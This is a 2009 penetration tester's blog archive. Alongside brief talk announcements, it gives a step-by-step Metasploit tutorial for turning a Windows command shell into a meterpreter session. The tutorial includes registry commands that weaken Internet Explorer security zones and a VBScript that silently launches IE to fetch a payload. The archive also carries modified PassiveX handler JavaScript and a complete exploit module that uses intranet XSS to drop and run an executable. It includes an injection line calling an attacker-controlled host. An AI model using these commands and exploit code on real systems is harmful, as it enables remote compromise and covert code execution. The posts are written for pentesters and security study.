Thursday, May 21, 2009

2009 Information Warfare Summit

I gave a presentation at OKC ISSA's 2009 Information Warfare Summit, yesterday, covering:

- common info sec weaknesses,
- new data from Verizon's 2009 Data Breach Incident Report,
- my reactions to the data / expectations / etc
- high level recommendations

If interested, it is located here.

Friday, March 20, 2009

DC405 Presentation

On Friday I gave a talk to OKC's DC405 group on Metasploit and reverse tunneling out of strict network environments using PassiveX payloads. Unfortunately, we ended up without an available projector, so I gave the presentation by having everyone load it up on their laptops, using this blog and twitter to kick out links. :)

All in all, it was a great group and spawned an impressive discussion afterwards. Thanks #dc405 for letting me come be a part of the group!

Title:
"Advances in HTTP encapsulated payloads
Or, a Young Metasploit User's Illustrated Primer"

DC405
03/20/2009

Link: DC405 - HTTP Encapsulated Payloads

Thursday, March 5, 2009

Common Info Security Weaknesses

Today I gave a presentation to the Oklahoma City ISACA chapter titled "Common Enterprise Security Weaknesses", which was a semi-random collection of observations from penetration tests in the OK, TX, and KS markets. Just in case anyone's interested, here's a link:

Common Information Security Weaknesses (pdf)

Tuesday, February 17, 2009

How to get meterpreter from shell in Windows

(Update: just realized my formatting's off a tad and chopping off the end of some of those commands. If you copy/paste you'll be able to see the very end of the cmd.)

Inspired by darkoperator's How to get Terminal from Shell in Windows post, here's a quick howto on a way to go from cmd shell to meterpreter shell (or any other msf payload).

I've run into situations on pentests where I can run individual commands on a machine but want to elevate to a full, interactive shell with all the bells and whistles a meterpreter shell gives you. Scenarios where I've used similar techniques:
  • SQL injection in an application allows you to run commands (Oracle, MS SQL Server)
  • Obtained (cracked, sniffed, whatever) a dba/sa level account in Oracle/MS SQL Server
  • Registry access only (e.g. this Veritas Backup vuln from 2005)
  • Some sort of PHP vuln on a WAMP server that grants you a piped command shell only
There are two main ways to load additional code onto the machine: modify IE permissions and use a passivex payload or download a file from the internet and execute it. For this round, I'll just show how to use a passivex payload, but if you want to download a file you can either use ftp commands or xmlhttp inside vbscript. (Google will have many results on these; maybe I'll write up a howto later.)

To start, we'll need an msf handler running somewhere accessible from the client to accept our connection request once the payload has been executed:

root@bt:/pentest/exploits/framework3# ./msfconsole

888 888 d8b888
888 888 Y8P888
888 888 888
88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888
888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888
888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b.
888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
888
888
888


=[ msf v3.3-dev
+ -- --=[ 345 exploits - 223 payloads
+ -- --=[ 20 encoders - 7 nops
=[ 123 aux

msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
msf exploit(handler) > ifconfig
[*] exec: ifconfig

eth1 Link encap:Ethernet HWaddr 00:0c:29:b0:10:8e
inet addr:192.168.206.129 Bcast:192.168.206.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:feb0:108e/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1218 errors:0 dropped:0 overruns:0 frame:0
TX packets:1023 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:389976 (389.9 KB) TX bytes:121421 (121.4 KB)
Interrupt:18 Base address:0x2080

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

msf exploit(handler) > set PXHOST 192.168.206.129
PXHOST => 192.168.206.129
msf exploit(handler) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (windows/meterpreter/reverse_http):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC seh yes Exit technique: seh, thread, process
PXAXCLSID B3AC7307-FEAE-4e43-B2D6-161E68ABA838 yes ActiveX CLSID
PXAXDLL /pentest/exploits/framework3/data/passivex/passivex.dll yes ActiveX DLL to inject
PXAXVER -1,-1,-1,-1 yes ActiveX DLL Version
PXHOST 192.168.206.129 yes The local HTTP listener hostname
PXPORT 8080 yes The local HTTP listener port
PXURI /RFT74xFlyWB2IYexlRLSq9txAgowPyi4 no The URI root for requests


Exploit target:

Id Name
-- ----
0 Wildcard Target


msf exploit(handler) > exploit

[*] PassiveX listener started.
[*] Starting the payload handler...

Next, the commands to kick through to your command shell. First we'll be modifying the registry to add a new IP address into the Intranet zone:

C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\randomname" /v ":Range" /d "192.168.206.129"

The operation completed successfully

C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\randomname" /v "*" /t REG_DWORD /d 1

The operation completed successfully

C:\>

Next we'll be adding the necessary permissions to the Intranet zone. (For a discussion on what settings are needed, refer to this post.)
C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1001" /t REG_DWORD /d 0

The operation completed successfully

C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1004" /t REG_DWORD /d 0

The operation completed successfully

C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1200" /t REG_DWORD /d 0

The operation completed successfully

C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1201" /t REG_DWORD /d 0

The operation completed successfully

C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1208" /t REG_DWORD /d 0

The operation completed successfully

C:\>

From here, I usually write a vbscript to disk that will launch an invisible instance of Internet Explorer pointed to your msf server. If for some reason you didn't care about IE being visible, you could always just execute it directly from your command shell, but assuming you don't want a big IE windy to pop up on the server, here's what you run:

C:\>echo CreateObject("Wscript.Shell").Run "iexplore.exe -new http://192.168.206.129:8080/RFT74xFlyWB2IYexlRLSq9txAgowPyi4", 0, False > temp.vbs

C:\>wscript temp.vbs

C:\>del temp.vbs

C:\>

At this point, an invisible instance of IE is running and just loaded code from your msf server. Because you modified the registry settings to allow passivex to load, you now have a meterpreter shell running in your msf console:

[*] Sending PassiveX main page to client
[*] Sleeping before handling stage...
[*] Sending stage to sid 1 (2650 bytes)
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (Local Pipe -> Remote Pipe)

meterpreter > getpid
Current pid: 3048
meterpreter >

To recap, here are all of the windows commands used in this post:

Mapping an IP address to Internet Explorer's Intranet security zone:
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\randomname" /v ":Range" /d "192.168.206.129"
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\randomname" /v "*" /t REG_DWORD /d 1

Configuring the Intranet zone to autoload passivex:
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1001" /t REG_DWORD /d 0
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1004" /t REG_DWORD /d 0
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1200" /t REG_DWORD /d 0
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1201" /t REG_DWORD /d 0
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1208" /t REG_DWORD /d 0

Creating vbscript to invisibly launch internet explorer pointed to our msf server:
echo CreateObject("Wscript.Shell").Run "iexplore.exe -new http://192.168.206.129:8080/RFT74xFlyWB2IYexlRLSq9txAgowPyi4", 0, False > temp.vbs

Running our vbscript and deleting temp.vbs:
wscript temp.vbs
del temp.vbs

Tuesday, February 3, 2009

Updating the passivex handler to work with IE7

If you've ever played with metasploit before, you may have wondered what all of the windows/*/reverse_http payloads were:

msf exploit(handler) > search reverse_http
[*] Searching loaded modules for pattern 'reverse_http'...

Compatible payloads
===================

Name Description
---- -----------
generic/debug_trap/reverse_http Generic x86 Debug Trap, PassiveX Reverse HTTP Tunneling Stager
windows/dllinject/reverse_http Windows Inject DLL, PassiveX Reverse HTTP Tunneling Stager
windows/download_exec/reverse_http Windows Executable Download and Execute, PassiveX Reverse HTTP Tunneling Stager
windows/exec/reverse_http Windows Execute Command, PassiveX Reverse HTTP Tunneling Stager
windows/meterpreter/reverse_http Windows Meterpreter, PassiveX Reverse HTTP Tunneling Stager
windows/reflectivedllinject/reverse_http Reflective Dll Injection, PassiveX Reverse HTTP Tunneling Stager
windows/reflectivemeterpreter/reverse_http Windows Meterpreter, PassiveX Reverse HTTP Tunneling Stager
windows/reflectivevncinject/reverse_http Reflective VNC Dll Injection, PassiveX Reverse HTTP Tunneling Stager
windows/shell/reverse_http Windows Command Shell, PassiveX Reverse HTTP Tunneling Stager
windows/upexec/reverse_http Windows Upload/Execute, PassiveX Reverse HTTP Tunneling Stager
windows/vncinject/reverse_http Windows VNC Inject, PassiveX Reverse HTTP Tunneling Stager

Background detail on how this stager works is available in skape's excellent uninformed journal article.

A quick overview:

Passivex is an ActiveX control that implements a tunnel running inside IE for your msf payloads. As such, it gets things like network proxy configuration for free! Imagine an environment that blocked all outgoing ports -- but allowed users to browse the internet as long as they used the company's HTTP proxy. In these scenarios, a normal reverse_tcp payload will not work, because it will be blocked by the company's firewall. If you use a reverse_http payload, however, it'll float right through the HTTP proxy and connect back to your msf server! Assuming the user is already authenticated to the firewall/proxy, IE will helpfully log them in for you, too.

Unfortunately, there are a few restrictions with the current passivex stager:
  • It only works with IE6 due to a new IE7 security setting
  • It permanently neuters the security settings for your IE's Internet zone, giving every website IE6 users visit the option of running commands on the vulnerable machine
  • In IE7, not only does it not function, but the first website they visit after you've attempted a passivex payload is greeted with this huge, nasty warning:


When you use one of these payloads, it:
  1. Modifies registry entries located at HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\ that correspond to the "Download signed ActiveX controls", "Download unsigned ActiveX controls", "Run ActiveX controls and plug-ins", and "Initialize and script ActiveX controls not marked as safe for scripting" security settings.
  2. Launches an iexplore.exe marked to be invisible (you see a new process in task manager, only -- no window) pointed towards your msf server
  3. Msf responds with some HTTP that instantiates the passivex ActiveX control
  4. The passivex control begins communication, pulling down whatever payload you selected and piping it's output/input back to the msf server
An ideal version of passivex would work in both IE6 and IE7, would limit it's impact on the compromised system, would clean up after itself whenever it's done, and would not increase the size of the initial stager.

To keep the initial size small and because it was easiest, I implemented all of this in the javascript of the 3rd item, above. This is possible because the "Initialize and script ActiveX controls not marked as safe for scripting" setting grants access to modify the registry (assuming the user has rights) and run commands. The javascript
  • Drops your IP address into the Intranet security zone
  • Modifies the 4 settings above, plus the new setting "Allow previously unused ActiveX controls to run without prompt", for the Intranet zone
  • Launches a second copy of IE that will run under the new permissions
  • Restores the Internet security zone to it's default settings
  • Waits 60 seconds and then restores the Intranet security settings to the default
Below is the beta code that does just that. Replace ~line 317 lib/msf/core/handler/passivex.rb where it sets the resp.body variable with the below, restart metasploit, and you should be good to go.

Still to do:
  • Randomize variables, remove white space inside needed variables, then randomize whitespace
  • Implement HTTPS for encryption (this shouldn't be hard; ruby/msf already support it)
  • Modify the ASM block in the initial stager to not modify all the extra security settings; it now only needs to modify 1201, "Initialize and script ActiveX controls not marked as safe for scripting"
                # fixed to work with IE7
resp.body = %Q^<html>
<object classid="CLSID:#{datastore['PXAXCLSID']}" codebase="#{datastore['PXURI']}/passivex.dll##{datastore['PXAXVER']}">
<param name="HttpHost" value="#{datastore['PXHOST']}">
<param name="HttpPort" value="#{datastore['PXPORT']}">
<param name="HttpUriBase" value="#{datastore['PXURI']}">
<param name="HttpSid" value="#{nsid}">^ + ((stage_payload) ? %Q^
<param name="DownloadSecondStage" value="1">^ : "") + %Q^
</object>
<script>
var WshShell = new ActiveXObject("Wscript.Shell");
var marker = true;
var regCheck;
var regRange = "HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\\\Ranges\\\\random\\\\" //Can be any value
var regIntranet = "HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\Zones\\\\1\\\\";

//Check if we've run this before.
try { regCheck = WshShell.RegRead(regRange + "marker"); } catch (e) { marker = false; }

if (marker == false) {
//Modify perms for the Intranet zone.
WshShell.RegWrite(regIntranet + "1001",0,"REG_DWORD");
WshShell.RegWrite(regIntranet + "1004",0,"REG_DWORD");
WshShell.RegWrite(regIntranet + "1200",0,"REG_DWORD");
WshShell.RegWrite(regIntranet + "1201",0,"REG_DWORD");
WshShell.RegWrite(regIntranet + "1208",0,"REG_DWORD");

//Map IP to the newly modified zone.
WshShell.RegWrite(regRange,1,"REG_SZ");
WshShell.RegWrite(regRange + ":Range","#{datastore['PXHOST']}","REG_SZ");
WshShell.RegWrite(regRange + "*",1,"REG_DWORD");
WshShell.RegWrite(regRange + "marker",1,"REG_DWORD"); //Just a marker

//Clean up after the original passivex stage1 loader; reset to default IE7 install
var regDefault = "HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\Zones\\\\3\\\\";
WshShell.RegWrite(regDefault + "1001",1,"REG_DWORD");
WshShell.RegWrite(regDefault + "1004",3,"REG_DWORD");
WshShell.RegWrite(regDefault + "1200",0,"REG_DWORD");
WshShell.RegWrite(regDefault + "1201",3,"REG_DWORD");

//Clean up and delete the created entries
setTimeout('WshShell.RegDelete(regIntranet + "1001")', 60000);
setTimeout('WshShell.RegDelete(regIntranet + "1004")', 60000);
setTimeout('WshShell.RegDelete(regIntranet + "1200")', 60000);
setTimeout('WshShell.RegDelete(regIntranet + "1201")', 60000);
setTimeout('WshShell.RegDelete(regIntranet + "1208")', 60000);
setTimeout('WshShell.RegDelete(regRange)', 60000);

WshShell.Run("iexplore.exe -new http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}",0,false);
}
</script>
</html>^

Tuesday, January 27, 2009

ie_unsafe_scripting metasploit module

Update: This module now works as a standalone HTTP or javascript include. Also, we pushed this to SVN on 2/27/09.

This one's not in the svn tree yet; I'll update this post if it gets pulled in. I've had a couple of requests for it, so thought I would go ahead and drop it here.

It's meant to be used on intranet XSS in environments that have the "Initialize and script ActiveX controls not marked as safe for scripting" set to "enabled". I've run into a few such environments set this way for compatibility with intranet web apps. Rather than turning it on for only those specific sites (or, ummm, fixing the sites), they grant it for the entire intranet.

Intranet XSS is all over the place. Even the rock-dumb scanners like nikto will pick up dozens on a normal internal penetration test.

Next steps: create a fast XSS scanner written in javascript to automatically exploit this stuff over the internet!


For use like so:
http://vulnerable-server/vulnerable_web_app.asp?var="><script src=http://attacker-msf-server.com/ie_unsafe_scripting.js></script>
Or, if you are actually sitting on the intranet and can get people to hit http://server/msf.htm
<html><head></head><body>
<script src=http://msf-server/ie_unsafe_scripting.js>
</script></body></html>

Explanation of how it works

This works because this security setting grants access to the WScript ActiveX control from scripting languages in Internet Explorer (Javascript and VBScript). With this control you can (among other things):
  • Execute commands similar to a shell prompt (except you get to run these silently, without notifying the user) through WScript.Shell
  • Create/delete/modify text file through WScript.FileSystemObject
Unfortunately, it does not allow you to directly write binary files to the file system. (You can use WScript.FileSystemObject to create a 'text' file that contains binary data, but this will only work if you are in an ANSI / ASCII-based version of Windows, such as us in the USA. If you're in Japan, it apparently epicfails. No promises mine won't do the same thing, even though I've tried to work around it.)

As a result, when you want to write a file to disk you use the ADODB.Stream ActiveX control. Unfortunately for bad guys and pentesters, IE7 put in a new security control called "Access data sources across domain", which now by default is set to prompt the user if they want to allow your script to talk to other 'domains'. (Windows / IE treats the filesystem as a different 'domain', and therefore you can't read/write to it if your code was loaded from http://intranet/.)

But I can write text files and I can execute commands? Well, then I can write a script file directly to disk and then execute it, getting around the extra IE7 permissions!

This module pushes javascript that instantiates the WScript.FileSystemObject, writes a vbscript file to the %TEMP% directory, executes the script with WScript.Shell, and deletes it. The vbscript:
  • has a metasploit executable payload stored inside a really big hex block, which is converted to an ANSI character array once the script runs
  • converts the character array into a binary array using some ADODB.Stream trickery (ADODB.Stream won't accept an ANSI character array as input to write a binary file; it'll give you a type error.)
  • feeds ADODB.Stream the now converted binaryArray that it likes, and is written to disk

There are some things that could be done to minimize the size of the transport, but this is working now so I don't see a lot of reason to slim it down any further. This module defaults to using gzip transfer encoding, which will probably make it about as small of a transfer as can easily be made.

I randomized a bunch of junk, but I would assume those giant blocks of hex are probably very signatureable for the antivirus guys. If I really care, one day maybe I'll get around to doing some trickery so it encodes/decodes differently every time. For now, here it is:

##
#
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer Unsafe Scripting Misconfiguration',
'Description' => %q{
This exploit takes advantage of the "Initialize and script ActiveX controls not
marked safe for scripting" setting within Internet Explorer. When this option is set,
IE allows access to the WScript.Shell ActiveX control, which allows javascript to
interact with the file system and run commands. This security flaw is not uncommon
in corporate environments for the 'Intranet' or 'Trusted Site' zones. In order to
save binary data to the file system, ADODB.Stream access is required, which in IE7
will trigger a cross domain access violation. As such, we write the code to a .vbs
file and execute it from there, where no such restrictions exist.

When set via domain policy, the most common registry entry to modify is HKLM\
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201,
which if set to '0' forces ActiveX controls not marked safe for scripting to be
enabled for the Intranet zone.

This module creates javascript code meant to be included in a <SCRIPT> tag, such as
http://intranet-server/xss.asp?id="><script%20src=http://10.10.10.10/ie_unsafe_script.js>
</script>.
},
'License' => MSF_LICENSE,
'Author' =>
[
'natron'
],
'Version' => '$Revision:$',
'References' =>
[
[ 'MS', 'http://support.microsoft.com/kb/182569' ],
],
'Payload' =>
{
'Space' => 4000,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],

],
'DefaultOptions' =>
{
'HTTP::compression' => 'gzip'
},
'DefaultTarget' => 0))
end

def on_request_uri(cli, request)

#print_status("Starting...");
# Build out the HTML response page
var_shellobj = rand_text_alpha(rand(5)+5);
var_fsobj = rand_text_alpha(rand(5)+5);
var_fsobj_file = rand_text_alpha(rand(5)+5);
var_vbsname = rand_text_alpha(rand(5)+5);
var_writedir = rand_text_alpha(rand(5)+5);
var_exename = rand_text_alpha(rand(5)+5);
var_origLoc = rand_text_alpha(rand(5)+5);
var_byteArray = rand_text_alpha(rand(5)+5);
var_stream = rand_text_alpha(rand(5)+5);
var_writestream = rand_text_alpha(rand(5)+5);
var_strmConv = rand_text_alpha(rand(5)+5);

p = regenerate_payload(cli);
#print_status("Genning payload...");
exe = Rex::Text.to_win32pe(p.encoded, '');
#print_status("Building vbs file...");
# Build the content that will end up in the .vbs file
vbs_content = Rex::Text.to_hex(%Q|Dim #{var_origLoc}, s, #{var_byteArray}
#{var_origLoc} = SetLocale(1033)
|)

print_status("Encoding payload into vbs/javascript...");
# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
# for conversion with ADODB.Stream
vbs_content << Rex::Text.to_hex("\ts = s & Chr(CInt(\"&H#{("%.2x" % exe[0]).upcase}\"))\r\n")

1.upto(exe.length) do |i|
vbs_content << Rex::Text.to_hex("\ts = s & Chr(CInt(\"&H#{("%.2x" % exe[i]).upcase}\"))\r\n")
end

# Continue with the rest of the vbs file;
# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
# Then use ADODB.Stream again to write the binary to file.
#print_status("Finishing vbs...");
vbs_content << Rex::Text.to_hex(%Q|
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{var_exename}.exe"

Set #{var_strmConv} = CreateObject("ADODB.Stream")

#{var_strmConv}.Type = 2
#{var_strmConv}.Charset = "x-ansi"
#{var_strmConv}.Open
#{var_strmConv}.WriteText s, 0
#{var_strmConv}.Position = 0
#{var_strmConv}.Type = 1
#{var_byteArray} = #{var_strmConv}.Read

Set #{var_writestream} = CreateObject("ADODB.Stream")

#{var_writestream}.Type = 1
#{var_writestream}.Open
#{var_writestream}.Write #{var_byteArray}
#{var_writestream}.SaveToFile #{var_writedir}, 2

SetLocale(#{var_origLoc})|)

# Encode the vbs_content
#print_status("Hex encoded vbs_content: #{vbs_content}");

# Build the javascript that will be served
js_content = %Q|var #{var_shellobj} = new ActiveXObject("WScript.Shell");
var #{var_fsobj} = new ActiveXObject("Scripting.FileSystemObject");
var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);

#{var_fsobj_file}.Write(unescape("#{vbs_content}"));
#{var_fsobj_file}.Close();

#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{var_exename}.exe", 0, false);
#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
|

print_status("Sending exploit javascript to #{cli.peerhost}:#{cli.peerport}...");
print_status("Exe will be #{var_exename}.exe and must be manually removed from the %TEMP% directory on the target.");

# Transmit the response to the client
send_response(cli, js_content, { 'Content-Type' => 'text/javascript' })

# Handle the payload
handler(cli)
end
end